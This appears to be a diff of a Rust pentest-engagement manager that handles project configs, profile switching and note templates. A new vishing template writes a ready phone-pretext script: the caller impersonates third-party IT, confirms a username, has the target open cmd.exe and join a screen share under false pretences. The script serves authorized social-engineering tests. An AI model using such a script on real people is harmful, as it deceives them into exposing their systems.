_outline = format!("{}no:{}:{}\n", default, project.boxname, project.stage);
|
||||||
}
|
}
|
||||||
save_file.write_all(_outline.as_bytes()).expect("error writing outline");
|
let write_res = save_file.write_all(_outline.as_bytes());
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap().to_string();
|
||||||
|
print_error("error saving projects.conf file!", error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, config_path: &PathBuf, new_id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, fingerprint: bool){
|
pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, config_path: &PathBuf, new_id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, fingerprint: bool){
|
||||||
let mut new_project_dir = PathBuf::new();
|
let mut new_project_dir = PathBuf::new();
|
||||||
let mut new_note_dir = PathBuf::new();
|
let mut new_note_dir = PathBuf::new();
|
||||||
@@ -282,29 +304,47 @@ pub fn remove_project(projects: &mut Vec<Project>, config_path: &PathBuf){
|
|||||||
|
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("we need user in put here dummy!!");
|
println!("no project selected! returning...");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("we need input here dummy!");
|
println!("no project selected! returning...");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_projects(config_path: &PathBuf) -> Vec<Project>{
|
pub fn get_projects(config_path: &PathBuf, show: bool) -> Option<Vec<Project>>{
|
||||||
let mut mut_config_path = config_path.clone();
|
let mut mut_config_path = config_path.clone();
|
||||||
mut_config_path.pop();
|
mut_config_path.pop();
|
||||||
mut_config_path.push("projects.conf");
|
mut_config_path.push("projects.conf");
|
||||||
|
let mut bkup_config_path = mut_config_path.clone();
|
||||||
|
bkup_config_path.pop();
|
||||||
|
bkup_config_path.push("projects.conf.bkup");
|
||||||
|
let bkup_result = fs::copy(&mut_config_path, &bkup_config_path);
|
||||||
|
if bkup_result.is_err(){
|
||||||
|
let error = bkup_result.err().unwrap();
|
||||||
|
println!("{}","error backing up the projects.conf file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
let mut projects = Vec::new();
|
let mut projects = Vec::new();
|
||||||
let projects_string = fs::read_to_string(mut_config_path).expect("error reading projects file");
|
let projects_string_res = fs::read_to_string(mut_config_path);
|
||||||
|
if projects_string_res.is_err(){
|
||||||
|
let error = projects_string_res.err().unwrap();
|
||||||
|
println!("{}", "Error Loading Project!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let projects_string = projects_string_res.unwrap();
|
||||||
let project_lines:Vec<&str> = projects_string.split("\n").collect();
|
let project_lines:Vec<&str> = projects_string.split("\n").collect();
|
||||||
let mut first = 0;
|
let mut first = 0;
|
||||||
let mut already_active = false;
|
let mut already_active = false;
|
||||||
for line in project_lines{
|
for line in project_lines{
|
||||||
|
//println!("{}", line);
|
||||||
first = first + 1;
|
first = first + 1;
|
||||||
if first != 1{
|
if first != 1{
|
||||||
if line.len() > 1{
|
if line.len() > 1{
|
||||||
let settings: Vec<&str> = line.split(":").collect();
|
let settings: Vec<&str> = line.split(":").collect();
|
||||||
//debug config file...
|
if settings.len() > 5{
|
||||||
|
// debug config file...
|
||||||
/*let mut count = 0;
|
/*let mut count = 0;
|
||||||
for settin in &settings{
|
for settin in &settings{
|
||||||
println!("{}: {}", count, settin);
|
println!("{}: {}", count, settin);
|
||||||
@@ -327,20 +367,26 @@ pub fn get_projects(config_path: &PathBuf) -> Vec<Project>{
|
|||||||
}
|
}
|
||||||
let project_stage = settings[6].to_owned();
|
let project_stage = settings[6].to_owned();
|
||||||
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname, stage: project_stage};
|
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname, stage: project_stage};
|
||||||
println!("{} {} LOADED!", &new_project.customer, &new_project.project_name);
|
if show{
|
||||||
|
println!("{} {} {}", &new_project.customer, &new_project.project_name, "LOADED!".green());
|
||||||
|
}
|
||||||
projects.push(new_project);
|
projects.push(new_project);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return projects
|
}
|
||||||
|
return Some(projects)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn print_upcoming_projects(projects: &Vec<Project>){
|
pub fn print_upcoming_projects(projects: &Vec<Project>){
|
||||||
|
let mut lines = vec![String::from("CUSTOMER||PROJECT")];
|
||||||
for project in projects{
|
for project in projects{
|
||||||
if project.stage.contains("upcoming"){
|
if project.stage.contains("upcoming"){
|
||||||
println!("{}:{}", project.customer, project.project_name);
|
let new_line = format!("{}||{}", project.customer, project.project_name);
|
||||||
|
lines.push(new_line);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
tableize(lines);
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, fingerprint: bool){
|
pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, fingerprint: bool){
|
||||||
@@ -397,7 +443,7 @@ pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, proje
|
|||||||
println!("failed to copy the project folder, try to move it manually!");
|
println!("failed to copy the project folder, try to move it manually!");
|
||||||
}
|
}
|
||||||
if note_move_success.success(){
|
if note_move_success.success(){
|
||||||
println!("we copied the notes folder correctly!!");
|
print_success("we copied the notes folder correctly!!");
|
||||||
let mut remove_folder = PathBuf::new();
|
let mut remove_folder = PathBuf::new();
|
||||||
remove_folder.push(&project.files_folder);
|
remove_folder.push(&project.files_folder);
|
||||||
remove_folder.pop();
|
remove_folder.pop();
|
||||||
@@ -444,4 +490,277 @@ pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, proje
|
|||||||
projects.clear();
|
projects.clear();
|
||||||
projects.append(&mut projects_to_save);
|
projects.append(&mut projects_to_save);
|
||||||
save_projects(&projects_to_save, config_path);
|
save_projects(&projects_to_save, config_path);
|
||||||
|
print_success("project promoted successfully!");
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn list_projects(projects: &Vec<Project>){
|
||||||
|
let mut lines = vec!["customer||project||stage".to_owned()];
|
||||||
|
for project in projects{
|
||||||
|
let new_line = format!("{}||{}||{}", project.customer, project.project_name, project.stage);
|
||||||
|
lines.push(new_line);
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn separate_personal_work_projects(config_path: &PathBuf){
|
||||||
|
let config = config_path.clone();
|
||||||
|
let mut config_personal = config_path.clone();
|
||||||
|
config_personal.pop();
|
||||||
|
config_personal.push("conf.personal");
|
||||||
|
let mut config_work = config_path.clone();
|
||||||
|
config_work.pop();
|
||||||
|
config_work.push("conf.working");
|
||||||
|
let mut projects_conf_path = config_path.clone();
|
||||||
|
projects_conf_path.pop();
|
||||||
|
projects_conf_path.push("projects.conf");
|
||||||
|
let mut working_conf_path = config_path.clone();
|
||||||
|
working_conf_path.pop();
|
||||||
|
working_conf_path.push("projects.work");
|
||||||
|
let mut personal_conf_path = config_path.clone();
|
||||||
|
personal_conf_path.pop();
|
||||||
|
personal_conf_path.push("projects.personal");
|
||||||
|
let project_read_res = read_to_string(&projects_conf_path);
|
||||||
|
if project_read_res.is_err(){
|
||||||
|
print_error("error reading current projects config file!", project_read_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let project_string = project_read_res.unwrap();
|
||||||
|
let project_lines: Vec<&str> = project_string.split("\n").collect();
|
||||||
|
let mut personal_projects = Vec::new();
|
||||||
|
let mut work_projects = Vec::new();
|
||||||
|
let mut default = String::new();
|
||||||
|
print_success("current projects loaded!");
|
||||||
|
print_informational("we'll now go through project by project, answer yes or no to the following questions...");
|
||||||
|
for line in project_lines{
|
||||||
|
if line.contains("default"){
|
||||||
|
default = line.trim_end().to_owned();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let words: Vec<&str> = line.split(":").collect();
|
||||||
|
if words.len() > 3{
|
||||||
|
println!("{} {}", words[0], words[1]);
|
||||||
|
if get_user_input("should this project be added to your personal projects config files?").to_lowercase().contains("y"){
|
||||||
|
personal_projects.push(line.to_owned());
|
||||||
|
print_success(format!("{}:{} {}",words[0], words[1], "successfully added to personal config!"));
|
||||||
|
if get_user_input("Do you also want to keep it in your work projects config?").to_lowercase().contains("y"){
|
||||||
|
work_projects.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
work_projects.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let work_config_open_res = fs::OpenOptions::new().create(true).write(true).open(working_conf_path);
|
||||||
|
if work_config_open_res.is_err(){
|
||||||
|
print_error("error opening work projects config file!", work_config_open_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let person_config_open_res = fs::OpenOptions::new().create(true).write(true).open(personal_conf_path);
|
||||||
|
if person_config_open_res.is_err(){
|
||||||
|
print_error("error opening personal projects config file!", person_config_open_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut work_config_file = work_config_open_res.unwrap();
|
||||||
|
let mut personal_config_file = person_config_open_res.unwrap();
|
||||||
|
let work_write_success = write!(work_config_file, "Work Config File\n");
|
||||||
|
let personal_write_success = write!(personal_config_file, "Personal Config File\n");
|
||||||
|
if work_write_success.is_err(){
|
||||||
|
print_error("error writing to work config file!", work_write_success.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
work_write_success.unwrap();
|
||||||
|
}
|
||||||
|
if personal_write_success.is_err(){
|
||||||
|
print_error("error writing personal config file!", personal_write_success.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
personal_write_success.unwrap();
|
||||||
|
}
|
||||||
|
write!(personal_config_file, "{}\n", default).unwrap();
|
||||||
|
write!(work_config_file, "{}\n", default).unwrap();
|
||||||
|
for project in work_projects{
|
||||||
|
write!(work_config_file, "{}\n", project).unwrap();
|
||||||
|
}
|
||||||
|
for project in personal_projects{
|
||||||
|
write!(personal_config_file, "{}\n", project).unwrap();
|
||||||
|
}
|
||||||
|
print_success("projects separated successfully!");
|
||||||
|
print_informational("now we'll separate the configuration files.");
|
||||||
|
let current_config_type = get_user_input("is the current settings loaded for work? (not personal)");
|
||||||
|
if current_config_type.to_lowercase().contains("y"){
|
||||||
|
let copy_res = fs::copy(&config, &config_work);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying config file to config.work!", copy_res.unwrap().to_string());
|
||||||
|
let copy_cmd = format!("cp {} {}", &config.display(), &config_work.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.work successfully created!");
|
||||||
|
}
|
||||||
|
print_informational("Next we will create a new config file for work.\nIt will be save as conf.personal");
|
||||||
|
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your personal settings");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let copy_res = fs::copy(&config, &config_personal);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying config file to config.personal!", copy_res.unwrap().to_string());
|
||||||
|
let copy_cmd = format!("cp {} {}", &config.display(), &config_personal.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
}
|
||||||
|
print_informational("Next we will create a new config file for work.\nIt will be save as conf.working");
|
||||||
|
print_informational("\nplease select create from scratch at the next prompt, and fill out the information for your work settings");
|
||||||
|
}
|
||||||
|
configuration::generate_tool_config(&config);
|
||||||
|
print_informational("great! now we're going to copy that to the specified new config file!");
|
||||||
|
if current_config_type.to_lowercase().contains("y"){
|
||||||
|
let copy_res = fs::copy(&config, &config_personal);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying to conf.personal!", copy_res.err().unwrap().to_string());
|
||||||
|
let copy_cmd = format!("plase run the following command in your
|
||||||
|
\ncp {} {}", &config.display(), &config_personal.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
let remove_res = fs::remove_file(&config);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error restroing original config file!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(&config_work, &config);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error restoring original config file!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("original configuration successfully restored!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let copy_res = fs::copy(&config, &config_work);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying to conf.work!", copy_res.err().unwrap().to_string());
|
||||||
|
let copy_cmd = format!("plase run the following command in your terminal\ncp {} {}", &config.display(), &config_work.display());
|
||||||
|
print_informational(copy_cmd);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("conf.personal successfully created!");
|
||||||
|
let remove_res = fs::remove_file(&config);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error restoring original config!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(&config_personal, &config);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error resoring original config!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("original configuration successfully restored!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn swith_to_personal(config: &PathBuf) -> Option<Vec<Project>>{
|
||||||
|
let mut personal_config_path = config.clone();
|
||||||
|
personal_config_path.pop();
|
||||||
|
personal_config_path.push("conf.personal");
|
||||||
|
let mut projects_path = config.clone();
|
||||||
|
projects_path.pop();
|
||||||
|
let mut personal_projects = config.clone();
|
||||||
|
personal_projects.pop();
|
||||||
|
projects_path.push("projects.conf");
|
||||||
|
personal_projects.push("projects.personal");
|
||||||
|
let personal_projects_read_res = read_to_string(&personal_projects);
|
||||||
|
if personal_projects_read_res.is_err(){
|
||||||
|
print_error("error reading personal projects!", personal_projects_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let person_projects_string = personal_projects_read_res.unwrap();
|
||||||
|
let open_res = open_overwrite(&projects_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("error opening projects.conf file!", "".to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut project_conf = open_res.unwrap();
|
||||||
|
write!(project_conf, "{}", person_projects_string).unwrap();
|
||||||
|
print_success("projects changed successfully!");
|
||||||
|
let new_projects = get_projects(config, true);
|
||||||
|
let remove_res = fs::remove_file(config);
|
||||||
|
if remove_res.is_ok(){
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(personal_config_path, config);
|
||||||
|
if copy_res.is_ok(){
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("settings successfully changed!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
return new_projects;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn swith_to_work(config: &PathBuf) -> Option<Vec<Project>>{
|
||||||
|
let mut work_config_path = config.clone();
|
||||||
|
work_config_path.pop();
|
||||||
|
work_config_path.push("conf.working");
|
||||||
|
let mut projects_path = config.clone();
|
||||||
|
projects_path.pop();
|
||||||
|
let mut work_projects = config.clone();
|
||||||
|
work_projects.pop();
|
||||||
|
projects_path.push("projects.conf");
|
||||||
|
work_projects.push("projects.work");
|
||||||
|
let work_projects_read_res = read_to_string(work_projects);
|
||||||
|
if work_projects_read_res.is_err(){
|
||||||
|
print_error("error reading personal projects!", work_projects_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let work_projects_string = work_projects_read_res.unwrap();
|
||||||
|
let open_res = open_overwrite(&projects_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("", "error opening projects.conf file!".to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut project_conf = open_res.unwrap();
|
||||||
|
write!(project_conf, "{}", work_projects_string).unwrap();
|
||||||
|
print_success("projects changed successfully!");
|
||||||
|
let new_projects = get_projects(config, true);
|
||||||
|
let remove_res = fs::remove_file(config);
|
||||||
|
if remove_res.is_ok(){
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(work_config_path, config);
|
||||||
|
if copy_res.is_ok(){
|
||||||
|
copy_res.unwrap();
|
||||||
|
print_success("settings successfully changed!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error changing settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error removing current settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
return new_projects;
|
||||||
}
|
}
|
||||||
@@ -2,6 +2,8 @@ use std::fs;
|
|||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
use crate::project_controls;
|
use crate::project_controls;
|
||||||
use crate::get_user_input;
|
use crate::get_user_input;
|
||||||
@@ -37,7 +39,8 @@ fn external(passtemp: &PathBuf, project: &Project){
|
|||||||
let file_creation_res = fs::create_dir_all(¬es_path);
|
let file_creation_res = fs::create_dir_all(¬es_path);
|
||||||
if file_creation_res.is_err(){
|
if file_creation_res.is_err(){
|
||||||
let error = file_creation_res.err().unwrap();
|
let error = file_creation_res.err().unwrap();
|
||||||
println!("error creating notes folder! {}", error);
|
println!("{}","error creating notes folder!".red());
|
||||||
|
println!("{}", error.to_string().red())
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
file_creation_res.unwrap();
|
file_creation_res.unwrap();
|
||||||
@@ -75,18 +78,7 @@ Planning call notes:
|
|||||||
* password attacks
|
* password attacks
|
||||||
* password sprays 3-12 hours
|
* password sprays 3-12 hours
|
||||||
* lock out policy -
|
* lock out policy -
|
||||||
|
|\n").expect("faile to write pentest notes");
|
||||||
## Enumeration in progress
|
|
||||||
|
|
||||||
### DNS Bruteforcing
|
|
||||||
|
|
||||||
| domain name | IP | inscope? |
|
|
||||||
| ----------- | -- | -------- |
|
|
||||||
|
|
||||||
# Attack Surface Enumeration
|
|
||||||
|
|
||||||
| IP | host notes | needs? |
|
|
||||||
| -- | ---------- | ------ |\n").expect("faile to write pentest notes");
|
|
||||||
|
|
||||||
}
|
}
|
||||||
notes_path.pop();
|
notes_path.pop();
|
||||||
@@ -146,7 +138,8 @@ fn internal(passtemp: &PathBuf, project: &Project){
|
|||||||
let file_creation_res = fs::create_dir_all(¬es_path);
|
let file_creation_res = fs::create_dir_all(¬es_path);
|
||||||
if file_creation_res.is_err(){
|
if file_creation_res.is_err(){
|
||||||
let error = file_creation_res.err().unwrap();
|
let error = file_creation_res.err().unwrap();
|
||||||
println!("error creating notes folder! {}", error);
|
println!("{}","error creating notes folder!".red());
|
||||||
|
println!("{}", error.to_string().red())
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
file_creation_res.unwrap();
|
file_creation_res.unwrap();
|
||||||
@@ -156,7 +149,8 @@ fn internal(passtemp: &PathBuf, project: &Project){
|
|||||||
let pass_result = fs::copy(&passtemp, ¬es_path);
|
let pass_result = fs::copy(&passtemp, ¬es_path);
|
||||||
if pass_result.is_err(){
|
if pass_result.is_err(){
|
||||||
let error = pass_result.err().unwrap();
|
let error = pass_result.err().unwrap();
|
||||||
println!("error copying password spray file, try again manually! {}", error);
|
println!("{}","error copying password spray file, try again manually!".red());
|
||||||
|
println!("{}", error.to_string().red())
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
pass_result.unwrap();
|
pass_result.unwrap();
|
||||||
@@ -322,6 +316,91 @@ powerup.ps1/sharpup.exe notes.
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
fn vishing(project: &Project){
|
||||||
|
let mut notes_path = project.notes_folder.clone();
|
||||||
|
let mknote_folder_res = fs::create_dir_all(¬es_path);
|
||||||
|
if mknote_folder_res.is_err(){
|
||||||
|
let error = mknote_folder_res.err().unwrap();
|
||||||
|
println!("{}","Error creating notes folder!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
notes_path.push("general.md");
|
||||||
|
let general_notes_res = create_note_file(¬es_path);
|
||||||
|
if general_notes_res.is_some(){
|
||||||
|
let mut general_notes = general_notes_res.unwrap();
|
||||||
|
write!(general_notes, "# Scope\n\n").unwrap();
|
||||||
|
write!(general_notes, "
|
||||||
|
Introductions
|
||||||
|
|
||||||
|
have they been vished before?
|
||||||
|
if yes ask what the purpose of that vishing was, gain a foothold, or other?
|
||||||
|
|
||||||
|
ask the purpose of this test, just see if we can get creds or testing a vetting process, or any specific goals for the engagement.
|
||||||
|
|
||||||
|
four main aspects
|
||||||
|
1. verbal confirmation and verification of information
|
||||||
|
2. run commands on the system they're on
|
||||||
|
3. go to a specific website
|
||||||
|
4. join a screen sharing session with us
|
||||||
|
|
||||||
|
pretexts:
|
||||||
|
default is third party it.
|
||||||
|
they have 2 dudes for helpdesk so this may not be the best pretext. Try to impersonate a specific helpdesk user. impersonate William sounds like our plan.
|
||||||
|
|
||||||
|
Vector -
|
||||||
|
|
||||||
|
ask for any questions, comments, or concerns.
|
||||||
|
").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("findings.md");
|
||||||
|
let findings_res = create_note_file(¬es_path);
|
||||||
|
if findings_res.is_some(){
|
||||||
|
let mut findings_file = findings_res.unwrap();
|
||||||
|
write!(findings_file, "# Findings to write up\n\n\n# Delivery Notes\n").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("pretext.md");
|
||||||
|
let pretext_res = create_note_file(¬es_path);
|
||||||
|
if pretext_res.is_some(){
|
||||||
|
let mut pretext_file = pretext_res.unwrap();
|
||||||
|
write!(pretext_file, "\n\n\n#Script").unwrap();
|
||||||
|
write!(pretext_file, "
|
||||||
|
Hello I'm [name] from [Find Local IT Shop]. We were brought in to help your normal IT guys with some of the menial tasks so they can focus on more import improvement projects. As part of this we're making sure our inventory management system is checking in correctly and up to date, this should only take a minute or two. Is now bad time to talk?
|
||||||
|
|
||||||
|
Great I just need to confirm that my inventory report here is accurate.
|
||||||
|
|
||||||
|
Are you currently running Windows 11?
|
||||||
|
|
||||||
|
can you confirm your user name is [metadata username]?
|
||||||
|
|
||||||
|
Your primary browser is firfox?
|
||||||
|
|
||||||
|
Oh thats strange it seems our report is wrong then... I don't think our program on your computer is checking in correctly... uhhh I want to make sure you're getting all the windows updates we need to be compliant.
|
||||||
|
|
||||||
|
Hold the windows key on your keyboard and press the r button. in the box that opens up type cmd.exe and press enter.
|
||||||
|
|
||||||
|
This will open a scary black box, but don't worry I'll walk you through what we need here, it'll be pretty easy.
|
||||||
|
|
||||||
|
In that box type systemifo all one word and press enter.
|
||||||
|
|
||||||
|
Scroll up through that output and find the section that talks about hotfixes, how many are installed?
|
||||||
|
|
||||||
|
That doesn't seem like the right number to me, can you read me the last 3 that are listed there?
|
||||||
|
|
||||||
|
yeah you're definitely not getting all of the windows updates. This is going to take a bit of troubleshooting to figure out. Would you mind hopping in a Zoom call with me and sharing your screen so I can check a few things? This should only take a couple of minutes.
|
||||||
|
|
||||||
|
(open up the services manager and scroll through it, check some program files folders, and run a few commands in cmd to act like I'm troubleshooting.)
|
||||||
|
|
||||||
|
Hmmm everything looks ok on this end. I'm going to do some troubleshooting on the server side and see if we can get to the bottom of this. I don't think we'll need anything else from you to fix this, but if that changes I'll let you know. Thank you for your time.
|
||||||
|
").unwrap();
|
||||||
|
}
|
||||||
|
notes_path.pop();
|
||||||
|
notes_path.push("calls.md");
|
||||||
|
create_note_file(¬es_path);
|
||||||
|
}
|
||||||
|
|
||||||
pub fn start_pentest(config_path: &PathBuf, projects: &mut Vec<Project>, id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, boxtemplate: &String, password_spray_file: &PathBuf) {
|
pub fn start_pentest(config_path: &PathBuf, projects: &mut Vec<Project>, id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, boxtemplate: &String, password_spray_file: &PathBuf) {
|
||||||
let mut project_files = upcoming_files.clone();
|
let mut project_files = upcoming_files.clone();
|
||||||
let mut project_notes = upcoming_notes.clone();
|
let mut project_notes = upcoming_notes.clone();
|
||||||
@@ -343,12 +422,15 @@ pub fn start_pentest(config_path: &PathBuf, projects: &mut Vec<Project>, id: i32
|
|||||||
create_project_folder(&mut working, "delivery");
|
create_project_folder(&mut working, "delivery");
|
||||||
let project_boxname = format!("{}_{}", boxtemplate, customer_name);
|
let project_boxname = format!("{}_{}", boxtemplate, customer_name);
|
||||||
let new_prject = Project{customer:customer_name.clone(), project_name:project_name.clone(), notes_folder:project_notes.clone(), files_folder:project_files.clone(),active:false, boxname:project_boxname.clone(),stage:"upcoming".to_owned(), id};
|
let new_prject = Project{customer:customer_name.clone(), project_name:project_name.clone(), notes_folder:project_notes.clone(), files_folder:project_files.clone(),active:false, boxname:project_boxname.clone(),stage:"upcoming".to_owned(), id};
|
||||||
if project_name.contains("external"){
|
if project_name.to_lowercase().contains("external"){
|
||||||
external(password_spray_file, &new_prject);
|
external(password_spray_file, &new_prject);
|
||||||
}
|
}
|
||||||
else if project_name.contains("internal"){
|
else if project_name.to_lowercase().contains("internal"){
|
||||||
internal(password_spray_file, &new_prject);
|
internal(password_spray_file, &new_prject);
|
||||||
}
|
}
|
||||||
|
else if project_name.to_lowercase().contains("vishing"){
|
||||||
|
vishing(&new_prject);
|
||||||
|
}
|
||||||
projects.push(new_prject);
|
projects.push(new_prject);
|
||||||
project_controls::save_projects(projects, config_path);
|
project_controls::save_projects(projects, config_path);
|
||||||
println!("project created and saved to the projects config file!");
|
println!("project created and saved to the projects config file!");
|
||||||
|
|||||||
43
pentest_tool/src/tool_controls.rs
Normal file
43
pentest_tool/src/tool_controls.rs
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
use std::{env::set_current_dir, path::PathBuf};
|
||||||
|
use std::process::Command;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::print_success;
|
||||||
|
|
||||||
|
|
||||||
|
pub fn update_git_tools(tools_dir: &PathBuf){
|
||||||
|
let mut folders = Vec::new();
|
||||||
|
for entry in WalkDir::new(tools_dir).max_depth(2){
|
||||||
|
let entry = entry.unwrap();
|
||||||
|
let path = entry.path();
|
||||||
|
if path.is_dir(){
|
||||||
|
folders.push(path.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for folder in folders{
|
||||||
|
let cd_res = set_current_dir(&folder);
|
||||||
|
if cd_res.is_err(){
|
||||||
|
let error = cd_res.err().unwrap();
|
||||||
|
println!("{}","error changing directory!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let _cd = cd_res.unwrap();
|
||||||
|
let git_command_res = Command::new("git")
|
||||||
|
.arg("pull")
|
||||||
|
.arg("--autostash")
|
||||||
|
.status();
|
||||||
|
if git_command_res.is_err(){
|
||||||
|
let error = git_command_res.err().unwrap();
|
||||||
|
println!("{}","error running git pull command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let git_command = git_command_res.unwrap();
|
||||||
|
if git_command.success(){
|
||||||
|
print_success(format!("successfully updated {}", folder.display()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
34
pentest_tool/src/victim_commands.rs
Normal file
34
pentest_tool/src/victim_commands.rs
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
use std::path::PathBuf;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::get_user_input;
|
